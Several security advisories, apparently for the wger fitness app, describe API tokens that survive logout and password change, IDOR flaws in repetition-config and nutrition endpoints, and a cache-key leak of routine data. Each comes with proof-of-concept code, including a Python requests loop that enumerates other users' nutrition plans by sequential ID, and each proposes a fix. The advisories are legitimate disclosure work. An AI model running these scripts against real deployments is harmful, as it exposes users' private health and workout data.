A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/ endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - Logout (/user/logout) only clears the Django session cookie via djangologout() and does not revoke API tokens. - Password change updates the password hash, but does not revoke: - existing DRF tokens stored in authtokentoken - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.
Vulnerable Files
- wger/wger/core/views/user.py (logout implementation) - wger/settings/settingsglobal.py (DRF auth configuration, SimpleJWT defaults) - wger/settings/main.py (commonly used production defaults for JWT lifetimes) - wger/wger/utils/apitoken.py (authtoken rotation is manual only)
PoC (Proof of Concept)
Manual Exploitation Steps
1. Create a user account. 2. Obtain a JWT refresh token: - POST /api/v2/token with username/password. 3. Obtain a DRF token (API key): - use /user/api-key (or create token via admin/DB in a test environment). 4. Change password: - POST /<lang>/user/password/change with oldpassword, newpassword1, newpassword2. 5. Prove token replay: - Call a private endpoint using the old DRF token (should still return 200). - Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).
Automation PoC (Python)
Copy/paste runnable PoC (Django in-process test client; no dev server required):
python import json import os
def main() -> None: """ PoC for IDENTITY-VULN-01: Proves that password change does not revoke: - DRF authtoken (Authorization: Token <key>) - JWT refresh tokens (still mint access tokens)
This PoC runs entirely in-process using Django's test client + DRF APIClient. It does not require running the dev server. """
os.environ.setdefault("DJANGOSETTINGSMODULE", "settings.main") # Ensure we use the local sqlite DB path used during setup os.environ.setdefault("DJANGODBDATABASE", "db.sqlite3") os.environ.setdefault("DJANGOMEDIAROOT", "media")
import django
django.setup()
from django.conf import settings from django.contrib.auth.models import User from django.test import Client from restframework.authtoken.models import Token from restframework.test import APIClient
username = "pwchangeuserpoc" oldpw = "OldPassw0rd!" newpw = "NewPassw0rd!"
# Create a clean user + DRF token User.objects.filter(username=username).delete() user = User.objects.createuser(username=username, password=oldpw) Token.objects.filter(user=user).delete() drftoken = Token.objects.create(user=user).key
api = APIClient()
# Obtain JWT tokens with old password (proof baseline) robtain = api.post("/api/v2/token", {"username": username, "password": oldpw}, format="json") refresh = getattr(robtain, "data", {}).get("refresh")
# Change password through the actual password change endpoint web = Client() web.forcelogin(user) rpw = web.post( "/en/user/password/change", data={"oldpassword": oldpw, "newpassword1": newpw, "newpassword2": newpw}, follow=False, )
# Old password should fail now (sanity check) robtainold = api.post( "/api/v2/token", {"username": username, "password": oldpw}, format="json", )
# New password should work robtainnew = api.post( "/api/v2/token", {"username": username, "password": newpw}, format="json", )
# DRF token remains valid (private endpoint still accessible) api.credentials(HTTPAUTHORIZATION=f"Token {drftoken}") rdrf = api.get("/api/v2/weightentry/")
# Old refresh remains valid (still mints a new access token) api.credentials() rrefresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")
out = { "jwtrefreshlifetimeseconds": int(settings.SIMPLEJWT["REFRESHTOKENLIFETIME"].totalseconds()), "jwtaccesslifetimeseconds": int(settings.SIMPLEJWT["ACCESSTOKENLIFETIME"].totalseconds()), "jwtobtainoldpwbeforechange": robtain.statuscode, "passwordchangestatus": rpw.statuscode, "jwtobtainoldpwafterchange": robtainold.statuscode, "jwtobtainnewpwafterchange": robtainnew.statuscode, "drftokenprivateapiafterchange": rdrf.statuscode, "jwtrefreshwitholdrefreshafterchange": rrefresh.statuscode, "jwtrefreshresponsekeys": sorted(list(getattr(rrefresh, "data", {}).keys())), }
print(json.dumps(out, indent=2))
if name == "main": main()
Expected output (example from a successful run):
json { "jwtrefreshlifetimeseconds": 86400, "jwtaccesslifetimeseconds": 900, "jwtobtainoldpwbeforechange": 200, "passwordchangestatus": 302, "jwtobtainoldpwafterchange": 401, "jwtobtainnewpwafterchange": 200, "drftokenprivateapiafterchange": 200, "jwtrefreshwitholdrefreshafterchange": 200, "jwtrefreshresponsekeys": [ "access" ] }
Impact A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access. - Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used). - Integrity: attacker can perform any API mutations permitted to the victim’s account.
Summary
RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their getqueryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.
Details
wger/manager/api/views.py:499 and :518:
python VULNERABLE class RepetitionsConfigViewSet(viewsets.ModelViewSet): def getqueryset(self): return RepetitionsConfig.objects.all()
class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet): def getqueryset(self): return MaxRepetitionsConfig.objects.all()
Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:
python CORRECT — how it should work def getqueryset(self): return WeightConfig.objects.filter( slotentryslotdayroutineuser=self.request.user )
The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.
PoC
python import requests
BASE = "http://localhost" headers = {"Authorization": "Token YOURTOKEN"} # any registered user
r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers) print(r.json()) # returns ALL users' repetition configs, not just your own
r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers) print(r.json()) # same — all users' max repetition configs
Registration is open by default. Sequential IDs allow full enumeration.
Impact
Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.
Fix: Add the same user filter used by every other config viewset: python def getqueryset(self): return RepetitionsConfig.objects.filter( slotentryslotdayroutineuser=self.request.user )
Summary
Three nutritionalvalues action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call self.getobject() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
python line 301 — NutritionPlanViewSet plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
line 356 — MealViewSet meal = Meal.objects.get(pk=pk) # VULNERABLE
line 403 — MealItemViewSet mealitem = MealItem.objects.get(pk=pk) # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
python LogItem.objects.get(pk=pk, planuser=self.request.user) # CORRECT
Affected endpoints: GET /api/v2/nutritionplan/{pk}/nutritionalvalues/ GET /api/v2/meal/{pk}/nutritionalvalues/ GET /api/v2/mealitem/{pk}/nutritionalvalues/
PoC
python import requests
BASE = "http://localhost" Attacker's token (any registered user) headers = {"Authorization": "Token ATTACKERTOKEN"}
Read victim's nutrition plan — enumerate pk starting from 1 for pk in range(1, 100): r = requests.get( f"{BASE}/api/v2/nutritionplan/{pk}/nutritionalvalues/", headers=headers ) if r.statuscode == 200: data = r.json() print(f"Plan {pk}: {data}") # Returns: energy (kcal), protein, carbohydrates, carbohydratessugar, # fat, fatsaturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data: - Daily caloric intake - Protein, carbohydrate, fat, fiber, and sodium intake - Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.getobject(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).
Summary
Five routine detail action endpoints check a cache before calling self.getobject(). Cache keys are scoped only by pk — no user ID is included. When a victim has previously accessed their routine via the API, an attacker can retrieve the cached response for the same PK without any ownership check.
Details
wger/manager/api/views.py — five actions follow this pattern (lines 134–201):
python @action(detail=True) def datesequencedisplaymode(self, request, pk=None): cachekey = makeroutineapidatesequencedisplaycachekey(pk) cached = cache.get(cachekey) if cached: return Response(cached) # returned WITHOUT calling self.getobject() # only reaches ownership check on cache miss routine = self.getobject() ...
Cache key construction in wger/utils/cache.py:89–106:
python def makeroutineapidatesequencedisplaycachekey(routineid): return f"routine-api-date-sequence-display-{routineid}" # No user ID in key
Cache TTL: 1 month (4 604800 seconds, settingsglobal.py:461).
Affected endpoints: GET /api/v2/routine/{pk}/date-sequence-display/ GET /api/v2/routine/{pk}/date-sequence-gym/ GET /api/v2/routine/{pk}/structure/ GET /api/v2/routine/{pk}/logs/ GET /api/v2/routine/{pk}/stats/
PoC
1. Victim (user A) visits GET /api/v2/routine/5/structure/ → response cached under key "routine-api-structure-5" 2. Attacker (user B) visits GET /api/v2/routine/5/structure/ → cache hit → returns user A's routine structure without any ownership check
Requires the victim to have previously accessed the endpoint (cache must be populated). Once populated, the cache entry is valid for 1 month.
Impact
An attacker with a registered account can retrieve another user's routine details — workout day sequences, exercise structure, training logs, and statistics — from cache without ownership verification.
Fix: Include the user ID in the cache key: python def makeroutineapidatesequencedisplaycachekey(routineid, userid): return f"routine-api-date-sequence-display-{userid}-{routineid}"
Or move self.getobject() before the cache lookup so ownership is always verified first.